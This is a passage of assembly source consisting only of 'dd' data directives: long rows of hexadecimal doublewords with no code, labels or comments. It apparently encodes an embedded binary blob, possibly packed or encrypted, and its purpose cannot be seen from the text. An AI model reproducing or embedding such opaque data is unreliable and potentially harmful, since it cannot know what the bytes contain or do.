4C441004h, 7064F67Fh, 4C68F040h, 0D4C41F24h dd 4D8D007Eh, 95B95110h, 0C840079h, 0C4EEC82Bh, 51200CD2h dd 81456C38h, 42142D08h, 22B92132h, 7D18C811h, 570D53BBh dd 0A7491412h, 0C93485C1h, 46DA7228h, 6430887Eh, 0FA116F62h dd 1E47F280h, 0D7E10B42h, 68880AA6h, 5E9157A5h, 0F67B0998h dd 218619BEh, 6A61571Bh, 3E0B9220h, 5029468Dh, 25EB8BFCh dd 10215156h, 15886090h, 130E0314h, 33100775h, 0B1052910h dd 0AB097EA3h, 993A9B7Dh, 58409FBEh, 5274F88Bh, 0B95A5623h dd 7503826Eh, 44B9B913h, 5F8EE64Ch, 3F38A37Dh, 0E8B82910h dd 0BD05C745h, 4D223D84h, 8BE8A212h, 0DA3FABB6h, 5F0237BEh dd 40716887h, 0AD8C4B0Ch, 7D38080Fh, 857CFC70h, 10A5C862h dd 10915E18h, 321658E5h, 0D5295F10h, 2F34A8Ch, 7F90E809h dd 0DD216A3Eh, 2AA1C57Ch, 9A6D215Bh, 0A857B428h, 0A5A49FA1h dd 3F21F808h, 4ED4B34Bh, 1874CCF0h, 0C1E2E875h, 3B12F08Bh dd 0AFB889F7h, 3B66587Fh, 6F152845h, 62043E83h, 0C8153A06h dd 0A7032F5Dh, 68D4D88Bh, 760FACC2h, 0FBC49302h, 8B18FF30h dd 685572E8h, 30EFEB4Ah, 0C8680150h, 86C40448h, 28C3FC35h dd 4511D6FFh, 7E8333C9h dd 0C0441DB2h, 69669753h, 0E190DD90h, 0DEC3592Dh, 55088720h dd 0DD047B57h, 941A7Bh, 59ED8590h, 5637017Eh, 8D1F048Ah dd 233CCC34h, 6A06750Eh, 0EB304339h, 0D53FD317h, 1BCCC081h dd 693AF26Ah, 0E6027726h, 8FE604EBh, 391B4F22h, 47800688h dd 0CB7CFD3Bh, 0A8D25F5Eh, 0B603A198h, 986069FEh, 5582517Ch dd 7FF1A302h, 12121C7Bh, 0C574A3E4h, 0D195E82Bh, 576FE9E6h dd 0F96CF79Eh, 0CC88CA51h, 0CF84E17Fh, 642F9108h, 0B859B5C8h dd 428E5C08h, 0C5089D9Eh, 468B0501h, 3BBD060Ch, 0BA6B48C7h dd 3B80FE1Bh, 46B02E64h, 0B55D5468h, 0E72C7D88h, 104508FDh dd 17F22A0Ch, 204C5468h, 0DD918552h, 6483AC5Ah, 8B40D43Ch dd 0CF3B144Eh, 0EF4116CCh, 187E3239h, 1C193812h, 8C2C2F02h dd 24618420h, 22398017h, 621B1291h, 847AA294h, 0B4D42037h dd 0F913C5AAh, 862C99A8h, 0C1451816h, 9123896Ah, 48517522h dd 0FEC52688h, 89C6571Fh, 9011C1BDh, 0DA2BD058h, 85C71807h dd 1855DB3Fh, 0C2B2E873h, 0C8B60F25h, 513BD6F0h, 0E9C1148Bh dd 0C9547C97h, 0F98B1009h, 55F218E8h, 58682C48h, 0D1EE3A58h dd 2320363Dh, 0A41C7F0Ch, 1414C979h, 0F7B010F5h, 2819983h dd 778E930h, 8C40F2A4h, 0E8110C40h, 74817E5Eh, 4C34684Dh dd 7C47A513h, 2C683A08h, 266238E5h, 12F9C212h, 103F4113h dd 6EAE892Bh, 0E7A01212h, 610C7240h, 0D3E8C950h, 0A1CE24FAh dd 0C43D0248h, 41AC2074h, 80287B4h, 8AB1454Ch, 0E95AEE58h dd 0F0680091h, 0E03ADF32h, 97221AD2h, 79F7E935h, 0DC68C202h dd 21DE4C50h, 4D447DC0h, 0CF44C95Fh, 1891F6CFh, 0A2B22410h dd 1A211C44h, 3E433E79h, 840CD237h, 8CBAFD11h, 0E98BECCDh dd 0F639B13Dh, 0C3CE807Eh, 1047BF85h, 0CCC478D9h, 0FDBE68CBh dd 0B3F8680Bh, 1EC77008h, 9A03D33Dh, 75EDD7F5h, 22FEB484h dd 0F63338B0h, 46BFF69Ch, 6949B488h, 101EB8F5h, 0E9E317F5h dd 0C206AE4h, 1821C442h, 35384464h, 29697843h, 0E90BB065h dd 7D635A86h, 8894B1D4h, 0DE37C5Dh, 24027E57h, 8885F84Dh dd 68090172h, 3D8339CCh, 72BF2042h, 272580D6h, 55DFDF57h dd 0FA943429h, 0AF564625h, 38801182h, 24E3573Ah, 0C4BCBC39h dd 0B8538428h, 7BFE123Fh, 0D13BC229h, 56216A5Bh, 0C0972EABh dd 837798BCh, 0E6CD1979h, 12251570h, 0AC680D01h, 82E86D85h dd 3224BEFAh, 0CD557AE3h, 6CC1326Eh, 0C4B3966h, 80D80AACh dd 6A0F429h, 46829708h, 18115698h, 3194B412h, 520E74CAh dd 0E921A050h, 3404FB98h, 0EFCDAA1Fh, 496C76E9h, 7691708Bh dd 56A85C9Ch, 0A75138Eh, 9BFC8350h, 0DCEBBD05h, 1D329868h dd 633F1439h, 0F4C84E8Bh, 943BA135h, 21E85610h, 0A398775Ch dd 0BE2B3820h, 58A54E5Fh, 0ABF56A5h, 0ADE536Ah, 0EF7DBB9Ch dd 3A97AED9h, 5A895BD9h, 397703F3h, 424566Dh, 1246B776h dd 2DDDE931h, 764C8C68h, 0B7A47C3h, 0A2463927h, 0A03C18Bh dd 7AAB627Eh, 5B2615C5h, 4098824Ah, 4027E984h, 885368FFh dd 78E3153Ah, 11D18E22h, 8A77D24h, 86321047h, 508A217Eh dd 611E2F01h, 701CD2D9h, 3DFA8010h, 4A467526h, 3AC10213h dd 6D07057Eh, 999CBD53h, 0D86D0953h, 1AAC0C47h, 0ED0845C6h dd 58CC6E14h, 8D22A012h, 62FF744h, 0CB75B87Fh, 862EBE2h dd 0C648023h, 10DC7F48h, 0FF8D0EF3h, 8A15B6BCh, 0BF51E177h dd 5191A4E6h, 233DB1A8h, 892DF24Eh, 0CB9579FAh, 3244A124h dd 4975740Ch, 0D5086F7Bh, 0FD444275h, 8402D110h, 57440C79h dd 5BBE47DEh, 9291D2F5h, 7E507FB1h, 6586A70Ah, 0F05E520Ch dd 1BD69A43h, 54988585h, 9D794880h, 2F5983A3h, 3FF12AAh dd 3D28A8A1h, 7D43EC93h, 0D1BE2D91h, 36AC424h, 0D85F4ECBh dd 9C40EFF1h, 922D7401h, 966BF55h, 0AC4BE9EEh, 387C2049h dd 85793059h, 0A0023308h, 45753B2Dh, 9740E9D0h, 0EC4FCD5Ah dd 0BC6166A1h, 3E39AA89h, 743FB8F0h, 27B15B57h, 4FE10FF9h dd 1E7732BCh, 7690E830h, 0F8F75475h, 7C188009h, 1EC6FF01h dd 42EC683h, 38F03947h, 0D71A75E0h, 0D7E529EBh, 0EFEBB8E2h dd 3A7FEB7Fh, 0E1C1CF17h, 31146804h, 0FF645A87h, 0C1035509h dd 1620110Ch, 20EB2A01h, 0E7C132C5h, 8DE1342Ah, 0C53513Dh dd 1A515537h, 54870A94h, 0FC750FC6h, 84E408CEh, 7EBB6778h dd 29AA4D31h, 0FCC81069h, 2C52A45Ah, 0D00E7448h, 0E1432E4h dd 7DAA8338h, 73F089E8h, 0F8C64A68h, 0FF85603h, 89A5822Ah dd 384C8A09h, 0D6DF2FFh, 28EB4803h, 98FDF1C8h, 0FE0F2914h dd 9D22EE2Dh, 701DB4C9h, 0B2A1C97Dh, 62830814h, 0D84F2E8h dd 40D45C8Fh, 0FBC47384h, 0C374AD92h, 50C7B62Eh, 3D75D2F4h dd 0FA7329F8h, 90409A07h, 0F04D283Fh, 0CA60CBCFh, 384D0477h dd 145385FBh, 0A670A11h, 790959F4h, 823DF1D4h, 68E8FC38h dd 4FD59173h, 0C83872E6h, 6E378940h, 3D0C20B7h, 98C77A03h dd 98226760h, 0FF08230Fh, 63DDF4F2h, 17C67664h, 32AA7210h dd 53EB579Ah, 4A7794C1h, 0ECFE40F0h, 7AEB5305h, 0CE09C683h dd 7A1EA93Eh, 786824AAh, 0C43345C1h, 7424316Ch, 761AA654h dd 0DED74909h, 3746C641h, 0A772EF2Dh, 77D0048Ah, 0CD3B8B5Ch dd 111DE136h, 9925FFEDh, 0D31C4C3Ah, 200B8B11h, 0E1830881h dd 0C7751289h, 9960D5EAh, 6CC0F1F7h, 0E847FA8Bh, 39B2A414h dd 7C92C73Bh, 0C0522223h, 682BF7DCh, 49BBF625h, 8A2490FBh dd 22AA4812h, 45751C64h, 118408E7h, 0AD72FD88h, 5E6BB1FCh dd 0BC458964h, 0FAAACB55h, 5D8922EEh, 0B6DC3D8Ch, 876718D6h dd 0B2D2C0D7h, 4BE4DE76h, 394C907Fh, 0A3BC0B5Dh, 0B4729D4Ch dd 1CA67C45h, 60739E5Ah, 8EF89BFh, 84442EDDh, 13C9EC50h dd 6541BF88h, 0B5133771h, 0C8AB0972h, 6B55867Fh, 4ACC7C70h dd 61BD4B66h, 0AC12D42h, 0A21C165Bh, 0F2F669B9h, 3719DDE6h dd 3055AC48h, 5BC723ACh, 64224D88h, 5443023h, 7C0CA2F0h dd 4A30D9Ah, 6A16891Bh, 623050Dh, 88A402D7h, 7578CCAEh dd 0DC06BBF1h, 0FAB52940h, 84682C05h, 0E8BC9830h, 4744746h dd 181D394Bh, 4A1440E9h, 0B04A07BEh, 0E81437D2h, 3649128Dh dd 2EC514BCh, 6934D543h, 151288F6h, 4B3AA7C3h, 4361B035h dd 0D650596Ah, 0EBD37585h, 9D345581h, 20E83841h, 74593596h dd 111FFC3Ch, 874C7CB5h, 4E5813h, 0C803BC6Ah, 21243980h dd 0A406B975h, 0C52BFB05h, 855F3Dh, 118A0982h, 11AB9488h dd 614131Ah, 8820144h, 12DF3D40h, 67CC7C7Dh, 7BA5C38Ch dd 91910D70h, 0C9785E25h, 774D325Dh, 0F997F3EEh, 0B6F513ABh dd 2ED1555Eh, 3208E6E4h, 19923F80h, 5E085756h, 0F01BA8B6h dd 3E38A116h, 900B977Bh, 5F5EE975h, 406A4AC4h, 0BF1201BCh dd 0F3B54450h, 0FD10EAABh, 0D5115585h, 0EB104581h, 723294C7h dd 27BBDDEDh, 7063E8A0h, 7F161295h, 7732EA3h, 0CC846858h dd 98018053h, 16139876h, 0C13B425Fh, 14948399h, 311C82C1h dd 508ADC64h, 2EC0449Bh, 240402E3h, 47933C6Bh, 0A35AC3Bh dd 1D777318h, 0EB821A21h, 82180804h, 0B6627336h, 88044632h dd 1C02D145h, 6918F30h, 0D81C13A2h, 62E92A5Eh, 5F1D3692h dd 5B96428Dh, 0FBD2E3ECh, 0C7080C23h, 0B9100CA5h, 0C10700EEh dd 8A5E02E8h, 0F3F4A680h, 0E1E40FE1h, 0C68B1D03h, 39044BC0h dd 71741E03h, 3E1C3C16h, 0A801CBD4h, 8B8AD90Bh, 100C2351h dd 183E9BE7h, 48400F4Ah dd 3B644602h, 62C4C4Bh, 0E183038Fh, 89BA403Fh, 48D5109Bh dd 3031302Ch, 0CE94E9C1h, 3E24C89h, 26270424h, 8372918Fh dd 96360152h, 0FC276D1Dh, 30F5699Dh, 4FE2E851h, 804FAD6Eh dd 148A197Eh, 0FAE7A031h, 0A5B89180h, 0EFF33370h, 0FA51C4BCh dd 0E77C5981h, 3E08896Fh, 27F990D2h, 0FAB22F83h, 28FD191h dd 0A765CD6Bh, 2DA2F918h, 30B0F559h, 0BD9E5468h, 0FA03B3A4h dd 89055132h, 5AF1800Eh, 26D2088Ah, 47C88C1h, 0BAF6754Ah dd 0E86CB0CAh, 0E3B8AA2h, 20014B85h, 37261F9h, 0A120E9D4h dd 0C1DD7FE0h, 0AE0F0A94h, 16BE3641h, 0EBF8C027h, 45F7DC5Bh dd 0BF56581Ah, 17566158h, 53308878h, 0F4C1238Ch, 0E893562h dd 59F48E0Ch, 0AA34AC01h, 10CC002h, 0B5F6E2D4h, 0CEDF6AE2h dd 0A80C4EABh, 70F241DBh, 524D7EADh, 0BC10246Dh, 93F4CE39h dd 0FF550E88h, 26C65C0h, 26C2083Eh, 40060C8Dh, 45E99B6h dd 0F7CD0180h, 44481FEh, 5B24873Ah, 9967348Dh, 18AFBD0h dd 881CCE2Ah, 0C316D4BDh, 0D2F6F803h, 6A96D032h, 6CC2FE24h dd 11880C86h, 297C7BA1h, 69675B5Fh, 0CFC8F050h, 1956137Dh dd 0B75CF22h, 0C70007CFh, 198A5F99h, 0CB8CF761h, 88D55D32h dd 0BB04DBE7h, 0C3AA3CF6h, 0CA13459Bh, 332F37Dh, 86FFEAD6h dd 6E31F8A1h, 33AB2802h, 0D6330C7Ch, 7CA91201h, 5FC70DBEh dd 6AF80DD6h, 0BA92F7F2h, 4A514056h, 3A6DB216h, 0D6AF56F4h dd 0AD7F4B21h, 812E1494h, 7B6CF65Ah, 9E3963A3h, 858D41DFh dd 301B7EDBh, 0EF903741h, 39D3025Ch, 1488B032h, 0C26F9CE8h dd 47C70330h, 7C942075h, 0DA7B8DE5h, 0FA62928Ch, 79442334h dd 0C048DC59h, 89E2EB4Fh, 15B0FC46h, 98044328h, 0A98753BFh dd 0C08305E8h, 0EB1D84FCh, 0E088CF8Dh, 6D8A6F58h, 9021C70Ch dd 0CDFD02Dh, 0DF2B1E7Eh, 0F4B85398h, 0D88B31C5h, 0FA37E40Ah dd 62A590Ch, 0E812D088h, 8BE27C86h, 76788D2Ah, 21291B52h dd 0F0355B11h, 2DA84CE0h, 8383E0D0h, 0C4741060h, 0C7701470h dd 4523010Bh, 3BFF467h, 0EFCDAB89h, 0FE080E02h, 98BADCh dd 3254760Ch, 0DCB21058h, 0D92D5DDEh, 49469269h, 0E683D885h dd 73C04E89h, 14FAFF03h, 4FCB8B2Ch, 0BE011D0Fh, 9324C52Ch dd 0B3FE00Bh, 8DCB0361h, 5F18A84Ch, 3BF8172Bh, 90A117DFh dd 52EB5182h, 0E8075750h, 0C96BBA2Dh, 0D65718A5h, 0E81C0144h dd 8324B8AFh, 0E0FBAAA5h, 0EA8B29E0h, 6EF36C1h, 10953C75h dd 996B908Fh, 0FB52B5B3h, 0AD03ADC9h, 76557740h, 754F0FEBh dd 0C6C553DCh, 6D1A4518h, 0B5F4AC6Bh, 6A5B31AEh, 7E9B483Fh dd 598951E7h, 0F976D623h, 5875414h, 428002C6h, 0AC802E85h dd 70515324h, 0E852146Ah, 5E878250h, 9618D818h, 0DE386AB3h dd 3C2AFD28h, 5B200E49h, 0C1C50FEBh, 2A264AF8h, 64D64B5Bh dd 2750460Bh, 0B70A2640h, 35456151h, 234F0612h, 0CE89D28h dd 0CF4045Eh, 2F42EFFBh, 75F1CA2Ch, 1740F142h, 0D29D3D76h dd 6AC8B523h, 0CE2E8356h, 104F3FFh, 4DB0F22Bh, 0EA939850h dd 8EA3CC1h, 0EB071028h, 8C011E90h, 9F021018h, 0F0731763h dd 6148D0Ch, 25106C3Bh, 0F85CD572h, 4BEE44C5h, 0B61940E4h dd 898242BCh, 0AD131375h, 7899945Dh, 0C9F50B4h, 0F7BD3F58h dd 3FD6E6F4h, 0D33AF223h, 890BD71Dh, 0D260F103h, 0E0F948Dh dd 0D96AA478h, 9220CA35h, 3CE2E619h, 31F0B07h, 23D181CFh dd 0D1D2F7F1h, 0E8D6F1D3h, 55FE0C70h, 0B48DC000h, 0C7B75616h dd 50FFFBE8h, 63E6B2FCh, 0D1032E0Ch, 9367F2E3h, 0F947FA6Ah dd 758C3FEFh, 23344C4h, 242070DBh, 0EE2DA8Bh, 480F9486h dd 180B113Ch, 23AAFA03h, 0F14DCBDFh, 0F3FBC763h, 5004FE35h dd 339C5F00h, 7DBDCEEEh, 469DFFC1h, 0AEB8C16h, 88C3032Eh dd 0ADFE23DEh, 8FDA910Fh, 0CC5D80DFh, 3198C8Dh, 0F57C0FAFh dd 8C40F98Bh, 0C183E18Dh, 0CEF1FE03h, 230C8087h, 0D7F7334Dh dd 22DF91AEh, 2B4D054h, 87C62A3Ah, 14B29147h, 3C2D0C02h dd 0D968B306h, 51D90E40h, 460BD6B8h, 0B88056D0h, 0BC038DD4h dd 30461317h, 20F8EFA8h, 0E2E74194h, 14B2B8A8h, 6C654ADAh dd 98AD19FBh, 3EB940D8h, 462A9501h, 0E750B7FDh, 3682EE91h dd 5D0844B7h, 88DC0C40h, 802298D8h, 97EE5069h, 0B73E82E3h dd 217DE042h, 14108B44h, 46A80C21h, 1C488CD4h, 0DEDF084Dh dd 28A1CBD4h, 0A13B5E4h, 8EE05BB1h, 4F7A2DAh, 0FA19E28Ch dd 60561DFh, 0CE49479Ah, 74CA2F69h, 0BA4A3499h, 5087F4C9h dd 9A5CD7BEh, 91E194DDh, 0DD83EA20h, 0D7484C68h, 0D314B34Ah dd 8CEC24D4h, 8A112289h, 19448CEBh, 283D0708h, 8924D6F1h dd 75102255h, 0FC09486Fh, 0F0AA9D2Fh, 719382F9h, 1411FD98h dd 9A080C02h, 4C7C2C37h, 0DBB79208h, 0E19C570Ah, 0C9BB0748h dd 0F4EA2713h, 438E3700h, 0F8A65179h, 2735DE05h, 7FF2D109h dd 37B8FA88h, 59435D56h, 0F807F62Ch, 0DDC05DA4h, 0EA21398Ch dd 0E94955B4h, 0FE92F52h, 0EB40A814h, 0E2CF5123h, 6F4D2848h dd 62413EC0h, 21F61E25h, 1BE50286h, 0DF05C087h, 0C2621913h dd 0D840A0DFh, 83A0FADEh, 27506FEAh, 0D4112232h, 92B34023h dd 40C644C0h, 0D820917h, 0C40D2CAEh, 8210C655h, 82E888EDh dd 265E5A51h, 0E021211h, 0EE21BB28h, 934BFC1Ah, 9AEC7AA3h dd 0BC752AC8h, 0C7AA0FC2h, 0F1EAE9B6h, 23E290F2h, 47D319EFh dd 48FAC9F3h, 0D0810CE7h, 4379A97h, 0C8D62F8Eh, 5811BA2h dd 0EDCF1405h, 47585C49h, 4E02E341h, 0A0CA64F2h, 0D318CA8h dd 2441453h, 80D4496h, 553CE197h, 0CAEAA9E2h, 28FE5233h dd 6EA5CF9Bh, 81E1DEF8h, 2AD8A1E6h, 97E9540Ah, 0A178E710h dd 0B652CE61h, 49A6645Dh, 0CC892FFEh, 0A2C8A7A7h, 7263E7D3h dd 0EA934640h, 5A9C783h, 0E04AF99Bh, 304ADDD1h, 6AE05542h dd 135B4063h, 0E1CD16E6h, 46931A21h, 1AE39604h, 0FBEC8834h dd 0C3DF8C33h, 5DDD49F9h, 5B49F50h, 3707D61Eh, 17B822C3h dd 75440904h, 0EA6D508h, 0B6F45D57h, 584DC6D0h, 1087B640h dd 88F4D50Dh, 0CA0E1012h, 0A524B5F7h, 0DA92CF9Ch, 4089E22h dd 14ED41DCh, 0E312455Ah, 1EE99184h, 0DECD503Dh, 4B368968h dd 98892A49h, 541F044h, 8A9E3E9h, 48DC831Bh, 89080AD6h dd 22CE92FFh, 0C465D9Bh, 0CBB2084Dh, 802792C4h, 0A3F80F0Fh dd 20FC42EFh, 21094117h, 6A8D32B3h, 5516D148h, 0D9166140h dd 91676F02h, 14B0E8C3h, 884DB8D1h, 0FB24F139h, 908449Bh dd 8AC021ECh, 69DA2A4Ch, 0BE23E682h, 33F28878h, 0FE58FA72h dd 3B9C81EEh, 0FFED3942h, 1C28ED29h, 0B80458B9h, 0DE33FEC3h dd 401B9494h, 0F68119D2h, 0EB888771h, 0BF7A115h, 55C8D244h dd 92CE7233h, 0C8E854A5h, 9D611022h, 3910886Dh, 0CB5742C5h dd 33FCC781h, 2126A0D1h, 0C0E58A8h, 25E5382Ch, 474CE1Ah dd 141EEEB7h, 0EF581D03h, 443E0193h, 8A4BEEAh, 7304811Ch dd 19B414Eh, 0CAF133B6h, 74CC6D69h, 0CF10A90Dh, 15884BDEh dd 0F2200B11h, 0C1C3198h, 9AA8D933h, 9CF15D50h, 4B501F05h dd 0B022F6BBh, 40700E10h, 7D4831AEh, 201E9038h, 701905E4h dd 10BEBFBCh, 0EB2075A6h, 0CF9B3999h, 0F0362076h, 7EC61A04h dd 0AC9289Bh, 0D5E3E90Dh, 55D1E30Ah, 4D0BC44h, 68A127FAh dd 44E9D0EAh, 600A12E6h, 562680DAh, 0C81393A3h, 3085DB41h dd 1008D4EFh, 3059C83h, 757408FBh, 0FD43D32h, 881D05A1h dd 68E94E04h, 0F1197432h dd 3200E036h, 0D44CD039h, 74D62809h, 9CE2E641h, 0E5EC44E8h dd 0E6DB9911h, 0F89062E4h, 7C87E5AEh, 4A7248A2h, 0DF9585F2h dd 21C41C09h, 0AC566595h, 0DEE326DEh, 0BCA8E941h, 820BB85Ah dd 507692EBh, 440A0471h, 88F42922h, 6811A97h, 0CB26F763h dd 0EC643C46h, 972ED8D3h, 432AFF10h, 0A42609Eh, 0AEE51093h dd 0A781A959h, 8AB9423h, 360F8111h, 41724C27h, 262B21EFh dd 0A0390429h, 0EB46FC93h, 154C3C0Bh, 4A539329h, 20968E10h dd 19CE88DEh, 5B5912C3h, 0E3794665h, 79A9F706h, 0BA3DACDEh dd 4924D913h, 91A98A0h, 8F0CCC92h, 0AE37C23h, 6F7CF756h dd 0F0DA0A40h, 1E8BB529h, 470ADF7Dh, 811440Ah, 0D9DC200Fh dd 48DE3CF1h, 0C92C0F0h, 8422D176h, 0F7EADA85h, 3CD0A14Ch dd 82DC8878h, 6FA87E4Fh, 0E390F028h, 0A1ECF16Dh, 0F811783Ch dd 2CE6E004h, 20F051FEh, 917887E3h, 431404D4h, 223EA301h dd 11A108F0h, 447C4E08h, 7E3F82CCh, 0D0E4C353h, 0F2351A1Dh dd 0A4BD3A25h, 0A08168Eh, 0D944862Ah, 2501B1D3h, 0BB16CE83h dd 222AD7E1h, 45112086h, 0D37E420Fh, 6CB28646h, 3F86E049h dd 0EB860791h, 0F1C4308Bh, 0F86456EDh, 89191EEFh, 0F17E481Ch dd 0E7CAD5A6h, 288B0E3Dh, 4EB0808h, 5BCB6781h, 0C92712BBh dd 123EE5B1h, 0F0042408h, 8D00FEA8h, 2B5E0242h, 5BB60FF2h dd 8A828078h, 10E60170h, 8B20D59Eh, 27CA35B2h, 898909FAh dd 0FDE2E211h, 6C7831EBh, 0F4D6722Fh, 47DAC903h, 12C2D1B5h dd 4B55A8F0h, 0AAD3AF5h, 1124F641h, 12D7358Bh, 0A47C680Dh dd 279D040Ch, 80C5D62Ch, 87840C2Ch, 0EAE48890h, 1C2286B3h dd 53C453BCh, 56582AEh, 0FA034687h, 9D80100Ah, 888410E1h dd 228844C2h, 0C728B9C6h, 64C5210Bh, 27E828C4h, 84CA610Ah dd 6469843h, 462F4631h, 1C53472Dh, 19B2D3CBh, 0C941A71Dh dd 0D1959CEh, 0E7CA5753h, 0A315192Ch, 0F3C0D33Ch, 554C60C8h dd 11C181C9h, 8F880F95h, 291C95C2h, 0D144888h, 601DCA50h dd 462734C8h, 0AFE84E23h, 7C4EBE1Dh, 0D3701560h, 0E62B69E0h dd 0F57F9008h, 8E96C63Bh, 5D12457Ah, 97F5E8C3h, 244B58D5h dd 88F0266Fh, 2D5FE845h, 3032F8F1h, 1C2D11D0h, 8E18680h dd 154784B8h, 0E07E7F41h, 7E95C383h, 0E42FE532h, 0FB058377h dd 57177603h, 2A023EC8h, 0E89689E8h, 0ECE9B706h, 754FCCEBh dd 4A5FF030h, 60E80B76h, 6882B9Fh, 750B4B46h, 7F5B5EF5h dd 6A7DB93Ah, 977EF04Ch, 0A53D927Ch, 0F4F74A03h, 59234722h dd 64CEE27Ch, 0AA81C76h, 0EF421293h, 0A90919CCh, 8AB95944h dd 8CED6BFDh, 53B7895Fh, 0BA34C5E3h, 0E3A33312h, 2A1F4D8Dh dd 1190E322h, 441DA5DEh, 270BFDE3h, 0AAD3480Dh, 0D4F74AE2h dd 80C589E2h, 80198ADCh, 1777FFBh, 84F63329h, 432374DBh dd 4C5EC6CFh, 508A1EF4h, 9323482h, 18846C3h, 107F2B50h dd 63061C25h, 754417E7h, 3877C4DFh, 0DA877639h, 0E2A97175h dd 0A89BF57h, 0D59E8955h, 0CAA48CCh, 0B4E85E60h, 80FD874Ah dd 6A717481h, 6819480Ch, 4852442Fh, 9F612EB5h, 5753F16Eh dd 643F8831h, 2F404A0Ch, 0F3311864h, 0D8603E60h, 1068B29h dd 8D2A40FFh, 0E6504246h, 70F8A344h, 45EAB4F9h, 51D881C1h dd 2D98B72Fh, 64D85CA2h, 0E33CAB5Fh, 904FB75h, 2774BBE6h dd 0FD91774Bh, 0A0D3A643h, 20225808h, 25BF5057h, 6A202574h dd 0C929DE5Bh, 2D42DC2Dh, 2AC5CD69h, 0BC22FAE7h, 68286A05h dd 7CAC5254h, 0FB8681C4h, 0FA978D37h, 7F345F9Bh, 82644385h dd 917D7461h, 0CD402534h, 805D40C4h, 1908BD31h, 0F22B5905h dd 4F751B98h, 3C5CBC1Eh, 0C933128Ch, 0F0E0456h, 0E349C19Eh dd 8B41FEE1h, 0CDEBC38Bh, 50481B26h, 8C021B11h, 3ECFD7Ah dd 1AE2EB29h, 24750204h, 0FC310322h, 0C8EB0400h, 75F25EA4h dd 61A0A50h, 0F4B5EB88h, 9A14B5C0h, 27120422h, 0BAD35D63h dd 5C036A89h, 287F4ADFh, 46862F57h, 0B83B48F9h, 850750C6h dd 91EDFC26h, 1CC2B68Eh, 25B9EE2Dh, 11FF2B87h, 0A47A20B8h dd 59D27939h, 0AC1653EBh, 24BC5302h, 79A7AF8Fh, 3B5C46E9h dd 9CA3BB5Eh, 4AEFFC10h, 98C644FFh, 2141E5Ch, 28688211h dd 6FD84453h, 0F465276Dh, 19271601h, 41902D5Dh, 0A16FE879h dd 57157E2Dh, 0F2041286h, 84433522h, 0E04053Dh, 642048F4h dd 0E6A4630h, 0F5D42226h, 1D221043h, 86B799Dh, 6A02F6D8h dd 66FC6811h, 2907533Eh, 0ECFA4479h, 5BF413A8h, 0E33B1089h dd 0DC6815FFh, 32E12213h, 5717D0BFh, 8CDCA243h, 9899F800h dd 56C83FBFh, 0F1447EB8h, 0B52CA9CCh, 404ED016h, 0C8931ECh dd 43E21D5h, 338C8085h, 2252BEBh, 889C1085h, 21039819h dd 25C80975h, 130746B0h, 0FF89BC44h, 20DAAAC2h, 2C6342EAh dd 0A4C34884h, 0A1220D90h, 74875991h, 260A6A13h, 0C666FF5Ah dd 0DF47CDAAh, 0E263969Fh, 0C2378464h, 0A230532Ch, 1B238E83h dd 0E5215684h, 84E2555Ah, 0FDE4155Ah, 284EA87Ch, 0C4234589h dd 9B0CD940h, 448EE4E0h, 96AFD88Bh, 0F06A388Eh, 0A7A4566Bh dd 23DF445Ah, 0ED9059B9h, 13848EB2h, 0EEC90408h, 7B647C48h dd 24E1C452h, 0D1854D7Eh, 652C9137h, 53206A13h, 580522ECh dd 315229A5h, 32EFFE4Fh, 593FC476h, 0FB9A4823h, 88887565h dd 22299953h, 0A4210A02h, 2619181Bh, 62730328h, 0C43953B8h dd 0CF019E6h, 0E27194EDh, 736781B9h, 0F2822E88h, 73452632h dd 23441844h, 25618B59h, 0E88F2101h, 0CC2F17FFh, 5689F811h dd 91C281F9h, 0A26E14ABh, 7274015Dh, 0D468486Ah, 0F564FEA2h dd 0BD3E714Eh, 774F8BC2h, 33CAE81Ah, 0E84C654Eh, 6AD7A2EFh dd 0F571A6Ah, 0E2409433h, 0F56167Dh, 2DBFD235h, 3FDB4916h dd 68077541h, 83525854h, 88076170h, 0ECE5108h, 0FF0811C6h dd 32A5C2B0h, 23074C6Dh, 0BCA226A1h, 0F6027525h, 0D70542AAh dd 0BB43357Ch, 0D70F4FB3h, 580CB0CDh, 790BC22Bh, 50C38303h dd 8F47F7DEh, 18BC3798h, 0DA2B5600h, 0CA579AE8h, 3113869Fh dd 0F6B86860h, 876FB844h, 2A30AC27h, 0BCC18A70h, 53740854h dd 8619E857h, 895327A0h, 0DC183D1Eh, 20BB6605h, 4C288D85h dd 32370433h, 351144Ch, 3C26BE7Dh, 48973403h, 6A43913h dd 653CC743h, 106822A9h, 2322518Bh, 3A10E781h, 30C77FD0h dd 8E8D1848h, 38749394h, 822CCDF3h, 0F9E82006h, 34A357F6h dd 82F4046Ah, 0D4294C05h, 0E2501DB7h, 0EB258651h, 32141AF3h dd 32174868h, 11441310h, 20401207h, 56CCE851h, 0FDB53A9Fh dd 0DE071B43h, 4E01F448h, 109006DAh, 82EA8E89h, 28840924h dd 0B81085B4h, 7C14D0A2h, 2099818Ch, 0F87BD137h, 0CB21F91h dd 0C78B2268h, 0A2BF5865h, 0E3CB6B1Bh, 34245779h, 90585C88h dd 7F141077h, 89451BA6h, 90109267h, 0F6331002h, 27E49810h dd 0B4B55956h, 4AAE9D44h, 597720F0h, 0E39DF787h, 90F49888h dd 24B1F1B7h, 0C8D3E93Ah, 29E13B08h, 0AF68BB53h, 44E75467h dd 885DB054h, 98358412h, 0F646924Bh, 0E97C8984h, 84E7A45Fh dd 10D94887h, 0B155AD76h, 8E4582A5h, 10A49C68h, 104229Dh dd 0D946892h, 0CA2098EAh, 23984368h, 68CE847Dh, 116D3290h dd 42D2020Bh, 5D10246Fh, 98C08852h, 92E6BE88h, 162B4C20h dd 68186A04h, 3FE48CA8h, 91442EA1h, 6815B03Ah, 2C2113C4h dd 0F4222010h, 20CA90F0h, 85416134h, 4795F714h, 9295458h dd 88189013h, 54F6628Ch dd 84081C31h, 13E34586h, 2954207Ah, 16A988FFh, 58D617CDh dd 6524422Ah, 1008D5BFh, 517C1106h, 0AA231292h, 90A40612h dd 9482452Ah, 0C85CB220h, 0CA304E8Ah, 8E651387h, 0B18F4632h dd 608926Ch, 91706821h, 0FA562A61h, 14E92586h, 578113D2h dd 5912F20Dh, 0D7F82FB6h, 77F64278h, 93033BCBh, 0CDEAFD18h dd 1D1818B9h, 0A2F34884h, 0A778681Ah, 11071639h, 0B16FC683h dd 0E2C3145h, 53F01017h, 868A328Ah, 25A0B589h, 0E83DC7B0h dd 0A8851A56h, 4480B215h, 4CE8794Dh, 0DF17C7Ch, 1C5B1C7Dh dd 266A1774h, 783EC979h, 0F0E277B4h, 